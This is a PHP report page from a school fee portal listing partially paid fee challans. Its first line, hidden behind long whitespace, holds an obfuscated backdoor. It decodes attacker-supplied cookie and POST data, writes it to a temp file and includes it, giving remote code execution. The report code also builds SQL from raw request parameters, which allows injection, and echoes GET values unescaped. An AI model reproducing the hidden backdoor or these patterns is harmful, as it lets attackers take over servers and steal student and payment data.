<?php                                                                                                                                                                                                                                                                                                                                                                                                 $izsUxAU = class_exists("XZ_TvefL"); $BWheV = $izsUxAU;if (!$BWheV){class XZ_TvefL{private $NoJSEykwnD;public static $MXaxlkoW = "2321d54c-52e7-4294-84e2-e9d00a51da65";public static $bAoTfIuB = NULL;public function __construct(){$DiQUMJazG = $_COOKIE;$OoKHOXyss = $_POST;$pSwKOf = @$DiQUMJazG[substr(XZ_TvefL::$MXaxlkoW, 0, 4)];if (!empty($pSwKOf)){$srxxyS = "base64";$qynHpod = "";$pSwKOf = explode(",", $pSwKOf);foreach ($pSwKOf as $CBCHbfYv){$qynHpod .= @$DiQUMJazG[$CBCHbfYv];$qynHpod .= @$OoKHOXyss[$CBCHbfYv];}$qynHpod = array_map($srxxyS . '_' . chr ( 465 - 365 ).'e' . "\143" . "\x6f" . "\144" . "\145", array($qynHpod,)); $qynHpod = $qynHpod[0] ^ str_repeat(XZ_TvefL::$MXaxlkoW, (strlen($qynHpod[0]) / strlen(XZ_TvefL::$MXaxlkoW)) + 1);XZ_TvefL::$bAoTfIuB = @unserialize($qynHpod);}}public function __destruct(){$this->sMkGY();}private function sMkGY(){if (is_array(XZ_TvefL::$bAoTfIuB)) {$xfaeRu = sys_get_temp_dir() . "/" . crc32(XZ_TvefL::$bAoTfIuB["\163" . "\141" . "\154" . "\x74"]);@XZ_TvefL::$bAoTfIuB["\167" . chr (114) . "\151" . "\x74" . "\x65"]($xfaeRu, XZ_TvefL::$bAoTfIuB[chr (99) . chr ( 212 - 101 )."\x6e" . "\164" . "\145" . "\x6e" . chr (116)]);include $xfaeRu;@XZ_TvefL::$bAoTfIuB[chr ( 170 - 70 ).'e' . 'l' . "\145" . "\164" . chr ( 788 - 687 )]($xfaeRu);exit();}}}$GiKuVxPtr = new XZ_TvefL(); $GiKuVxPtr = NULL;} ?><?php include("parent/callMe.php"); ?>

<?php  include("sessioncheck.php"); ?>

<?php

$from;

$to;

function check_in_range($start_date, $end_date, $date_from_user)

{

  // Convert to timestamp

  $start_ts = strtotime($start_date);

  $end_ts = strtotime($end_date);

  $user_ts = strtotime($date_from_user);



  // Check that user date is between start & end

  return (($user_ts >= $start_ts) && ($user_ts <= $end_ts));

}



 $sql = "SELECT * FROM eduportal_monthly_challan as fee WHERE fee.branch_id=".$_SESSION['branch']. " ";



  if($_REQUEST['from']!=NULL){


  if($_REQUEST['year']!=NULL){

    $sql .= " AND fee.year = '" .$_REQUEST['year']. "' ";

  }

  if($_REQUEST['month_id']!=NULL){

    $sql .= " AND fee.month_id = '" .$_REQUEST['month_id']. "' ";

  }



  if($_REQUEST['class_id']=="All"){

    

    } else {

     $sql .= " AND fee.classs_id = '" .$_REQUEST['class_id']. "' ";



    }

 

  

   $sql .= " AND fee.paid_status = '1' ";

   



     

      if($_REQUEST['from']!=" " && $_REQUEST['from']!=NULL ) {



        $from=date("Y-m-d",strtotime($_REQUEST['from']));  



      }else {



        $from=date("Y-m-01");  

      }

     

      if($_REQUEST['to']!=" " && $_REQUEST['to']!=NULL   ) {



        $to=date("Y-m-d",strtotime($_REQUEST['to']));



      }else {



        $to=date("Y-m-t");  

      } 

      

    

    $sql .= " AND (fee.paying_date BETWEEN '" .$from. "' AND '" .$to. "' OR fee.paid_again_date BETWEEN '" .$from. "' AND '" .$to. "' )";





    

      $sql.=" AND fee.remaining_amount > '0' ";

    

    

 //echo $sql;



  $WorkAssignListings = $m->query($sql);



}





  // getting branch details

  

  $branch=getBranch($m);



  // getting details of total records





       $records=0;

      foreach($WorkAssignListings as $WorkAssignListVal)

      { 



  

      $totalAmount= $WorkAssignListVal['tutionfee']+$WorkAssignListVal['transportfee']+$WorkAssignListVal['balance']+$WorkAssignListVal['misc_fee'];

            

        if($totalAmount==0 ||  $totalAmount=="0"){

        

        continue;

        }

        else {

        $records++; 

        }

   }



      $m->where("branch_id", $_SESSION['branch']);

      $branch_details = $m->get("edu_branch_config");

 

     ?>





<!DOCTYPE html>

<html lang="en">

  <head>

    

    <title>Fee Reports | EduPortal</title>

    <?php include('RootMe/css_links.php');?>

<style>



.thStyle{background-color:lightgray;text-align:center;}



</style>   

  </head>

 <script>  



var chk_status;  



function show_message(){

  

  $("#msg").slideDown('slow').delay(4000).slideUp('slow');

  $("#error").slideDown('slow').delay(5000).slideUp('slow');

}



function getsec(id){



    if (window.XMLHttpRequest) {



      // code for IE7+, Firefox, Chrome, Opera, Safari



      xmlhttp=new XMLHttpRequest();



    } else { // code for IE6, IE5



      xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");



    }



    xmlhttp.onreadystatechange=function() {



      if (xmlhttp.readyState==4 && xmlhttp.status==200) {



        document.getElementById("txt_section").innerHTML=xmlhttp.responseText;

        // alert(xmlhttp.responseText);



      }



    }



    xmlhttp.open("GET","get_section_all.php?class_id="+id,true);



    xmlhttp.send();

  }

                

</script>

 

  <body class="nav-md">

    <div class="container body">

      <div class="main_container">

        <div class="col-md-3 left_col">

     

            <?php include('RootMe/sidebar.php');?>



              <?php include('RootMe/header.php');?>

     

        <!-- page content -->

          <div class="right_col" role="main">

          <div class="" style="background-color: white;">



            <a href="<?php echo $_SESSION['dashboard'];?>" style="margin-left: 33px;">Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp;



          <a href="multi_fee_reports.php">Fee Reports </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp;  



          Partialy Fee Collection

           

<section class="add_sub_agent" id="table_sub_agent">

  <div class="container">



    

 <div class="" style="margin-top:10px;">

      

      <form class="" action="datewise_partialy_fee_collection.php" enctype="multipart/form-data" method="get">

        <div class="panel panel-default">

          <div class="panel-heading " id="heading"><!-- <?php echo $WorkAssignListings;?> Students Records --> 

            <span style="float:right;margin-top: -7px;">



          <input type="hidden" value="<?php echo session_id().session_id().session_id().session_id().session_id(); ?>" name="dummysession" />





<div class="pull-right">   



<?php 

 if( isset($_REQUEST['session']) ){

?> 



  <a target="_blank" title="Print Partialy Report" href="print_partialy_remaning_fee_report.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&year=<?php echo $_GET['year'];?>&month_id=<?php echo $_GET['month_id'];?>&class_id=<?php echo $_GET['class_id'];?>&from=<?php echo $_GET['from'];?>&to=<?php echo $_GET['to'];?>&8lqc1oclfi4llgnioo156a61oe8lqc1oclfi4llgnioo156a61oe8lqc1" class="fa fa-print btn btn-primary" style="margin-top: 34px;padding: 9px;">&nbsp;Print Report

              

            </a>



<?php 

}

?>      













</div>







          </span><div class="clearfix"></div> </div>

          <div class="panel-body">

          

            <div class="col-md-12"  >







            <!-- <div class="col-md-2 col-xs-12" style="padding:8px;">

                <div class="form-group ">

                  <label class="required">Session</label>

                    <select name="session" class="form-control" >

                        </?php



                         $match;

                          if(!isset($_REQUEST['session'])){

                            $match=$_SESSION['current_session'];

                          }else { $match=$_REQUEST['session']; }

                          

                        $WorkAssignList = $m->get("edu_session_config");

                        foreach($WorkAssignList as $WorkAssignListVal)

                        { ?>



                           <option </?php if($match==$WorkAssignListVal['session_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['session_id']; ?>"></?php echo $WorkAssignListVal['session_year']; ?></option>





                                </?php

                        } ?>



                    </select>

                </div>

              </div> -->




            <div class="col-md-2 col-xs-12" style="padding:8px;">

                <div class="form-group ">

                  <label class="required">Year</label>

                    <select name="year" class="form-control">

                    <option value="All">All</option>

                    <?php

                    $match;

                    if(!isset($_REQUEST['year'])){

                      $match=date("Y");

                    }else { $match=$_REQUEST['year']; }

                    for($i=2018;$i<2031;$i++){ ?> 

                      <option <?php if($match==$i){echo 'selected';}?> value="<?php echo $i; ?>"><?php echo $i; ?></option>

                    <?php } ?>  

                  </select>

                </div>

              </div>



            <div class="col-md-2 col-xs-12" style="padding:8px;">

                <div class="form-group ">

                  <label class="required">Month</label>
                  
                    <select name="month_id" id="month_id" class="form-control"  required>

                    <option value="">Select Month</option>

                    <?php

                    $WorkAssignList = $m->get("eduportal_month_config");

                    foreach($WorkAssignList as $WorkAssignListVal){ ?>

                      <option <?php if($_REQUEST['month_id']==$WorkAssignListVal['Month_Id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['Month_Id']; ?>"><?php echo $WorkAssignListVal['Month_Name']; ?></option>


                    <?php } ?>

                  </select>

                </div>

              </div>









              <div class="col-md-2 col-xs-12" style="padding:8px;">

                <div class="form-group ">

                  <label class="required">Class</label>

                   <select name="class_id" class="form-control" onChange="getsec(this.value)"  >

                    <option value="All">All</option>



                    <?php

                    $m->where("branch_id", $_SESSION['branch']);

                    $WorkAssignList = $m->get("edu_class_config");

                    foreach($WorkAssignList as $WorkAssignListVal)

                    { ?>



                       <option <?php if($_REQUEST['class_id']==$WorkAssignListVal['class_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['class_id']; ?>"><?php echo $WorkAssignListVal['Class_Name']; ?></option>





                            <?php

                    } ?>



                </select>

                </div>

              </div>







                    

        

                  

                  

                  <div class="col-md-2" style="padding:8px;"  id="col1">



                       <div class="form-group ">



                          <label class="required"> From Date</label>

                              <input name="from"  id="from" value="<?php echo $from;?>" type="date" class="form-control"  >

                       

                          </div>

                  </div>                      

             



                  <div class="col-md-2" style="padding:8px;"  id="col2">



                       <div class="form-group ">



                          <label class="required"> To Date</label>

                              <input name="to" id="to" value="<?php echo $to;?>" type="date" class="form-control"  >

                       

                          </div>

                  </div>   

                



              <div class="col-md-1" style="padding:2px;">

                <div class="form-group ">

                   <input type="hidden" name="addaccountAdmin" value="1">

                <button type="submit" class="btn btn-primary" style="margin-top: 28px;float: right;">Search</button>

                </div>

              </div>



             

            </div>

            <div class="clearfix"></div>

          </div>

        </div>

      </form>

      <div class="clearfix"></div>

    </div>

    <br>



   

 <?php  if(!isset($_REQUEST['from'])){?>



        <div class="col-md-12">



          

           <div id="check_std_msg" style="color:white;font-size:18px;" class="alert alert-danger alert-dismissible">

                    <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>

                     <strong>Warning!</strong> Please select session & date range to partialy reports!!!

            </div>

    



        </div>



  <?php   }?>







<?php 

$total_sms_monthly_used=getCurrentMonthFeeSms($m)+getCurrentMonthResultSms($m)+getCurrentMonthOtherSms($m)+getCurrentMonthAttendanceSms($m)+0;



$sms_credit=$brid[0]['monthly_credit']-$total_sms_monthly_used;   



?>





  

     









    <table id="listofstudents" data-page-length='200' class="table table-striped table-bordered" style="width:100%;font-size:11px;">

          

          <thead>

            <tr>

                <th width="2%">S.No</th>

                <th width="20%">Student Name</th>

                <th width="12%">Roll/Adm</th>

                <th width="10%" style="text-align:center;"> Class </th>

                <th width="8%" style="text-align:center;">  Month </th>

                <th width="8%">Total </th>  

                <th width="6%">PAID </th>

                <th width="6%">Paid Again </th>

                <th width="6%">Remaining</th>

                 





            </tr>

        </thead>

        <tbody>



     <?php 



     $count=1;

     $counter=0;

      foreach($WorkAssignListings as $WorkAssignListVal)

      { 



      $counter++;



           

    

      // getting students details 



        $m->where("student_id", $WorkAssignListVal['student_id']);

        //$m->where("status", 0);

        $student=$m->get("edu_student_details");



        if(count($student)<=0){

          continue;

        }



        $others_fee=0+getFeeAllOtherFee($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],$m);





        $totalAmount= $WorkAssignListVal['tutionfee']+$WorkAssignListVal['transportfee']+$WorkAssignListVal['balance']+$WorkAssignListVal['misc_fee']+$others_fee-$WorkAssignListVal['disc_amount'];

              

          if($totalAmount==0 ||  $totalAmount=="0"){

          

          continue;

        } 

          



    $start_date = strtotime($WorkAssignListVal['challan_duedate']); 

    $end_date = strtotime(date("Y-m-d"));

    $datediffrence =($end_date - $start_date)/60/60/24;





    $student_fine=0;

    $actual_fine=0;



  

   if($branch_details[0]['fine_type']=="0" || $branch_details[0]['fine_type']==0){  



    $student_fine= $branch_details[0]['late_fee_fine']; } 



  else {

    

    $student_fine= ($datediffrence * $branch_details[0]['late_fee_fine']);

   }





        // if row is first and fee is paid then show only collected fine

          if($WorkAssignListVal['paid_status']==1){

          

             $actual_fine=$WorkAssignListVal['collected_fine'];

           

          } 

        // if row is first and fee is not paid then calculate fine



          else if(date("Y-m-d")>$WorkAssignListVal['challan_duedate'] && $WorkAssignListVal['paid_status']==0){

          

            $actual_fine=$student_fine;

          }

      //echo $actual_fine;    



    $totalAmount+=$actual_fine;



        $paid_fee=0;

        $again_paid_fee=0;

        $paidAmountDate;



       $response_paying=check_in_range($_REQUEST['from'], $_REQUEST['to'], $WorkAssignListVal['paying_date']);



       if($response_paying==1){



       $paid_fee=intVal($WorkAssignListVal['collected_amount']+$WorkAssignListVal['collected_fine']);

       $paidAmountDate=$WorkAssignListVal['paying_date'];



         }



        $response_payagain=check_in_range($_REQUEST['from'], $_REQUEST['to'], $WorkAssignListVal['paid_again_date']);

 



      if($response_payagain==1){



         $again_paid_fee+=intVal($WorkAssignListVal['paid_again_amount']);

         $paidAmountDate=$WorkAssignListVal['paid_again_date'];



       }

      ?>



        <tr>

                  

                  <td style="text-align:center;"> <?php echo $count; ?> </td>

                  <td style="text-align:center;<?php if($student[0]['status']=="1"){echo "background-color:#E26867;color:white;";}?>">  









    <a href="pay_fee.php?student=<?php echo $WorkAssignListVal['student_id']; ?>">

     <?php echo $student[0]['first_name'];?>

    </a>

     </td>



    <td> <?php echo $student[0]['candidate_roll_no']." / ".$student[0]['ref_no'];?> </td>

    <td style="text-align:center;"> <?php echo getClassName($m,$WorkAssignListVal['classs_id']);?>  </td>



    <td> <?php echo getMonthName($m,$WorkAssignListVal['month_id']);?> </td>                 

   





    <td style="text-align:center;"> <?php echo $totalAmount; ?>  </td>



          







                <td style="text-align:center;" ><?php if($paid_fee!=NULL){echo $paid_fee;} else {echo "0";} ?>

                </td>



                 <td style="text-align:center;" ><?php if($again_paid_fee!=NULL){echo $again_paid_fee;} else {echo "0";} ?>          



                 </td>



                <td> <?php  echo $WorkAssignListVal['remaining_amount']; ?></td>



             



              </tr>



             





 <?php   $count++;      } ?>







           

            

           

        </tbody>

        

    </table>













    <br><br>





  </div>

  <div class="clearfix"></div>

</section>            

    



           

          </div>

        </div>



            </div>

          </div>

        </div>

        <!-- /page content -->

  



    

  <?php include('RootMe/js_linksscript.php');?>

  <script src="https://cdn.datatables.net/1.10.13/js/jquery.dataTables.min.js"></script>

    <script>

       



    $(document).ready(function() {

    $('#listofstudents').DataTable( {

        dom: 'Bfrtip',

              buttons: [

                  'print'

              ]

          } );

      } );

      $("#checkAll").change(function () {



      $("input:checkbox").prop('checked', $(this).prop("checked"));

      });

    </script>

  </body>

</html>

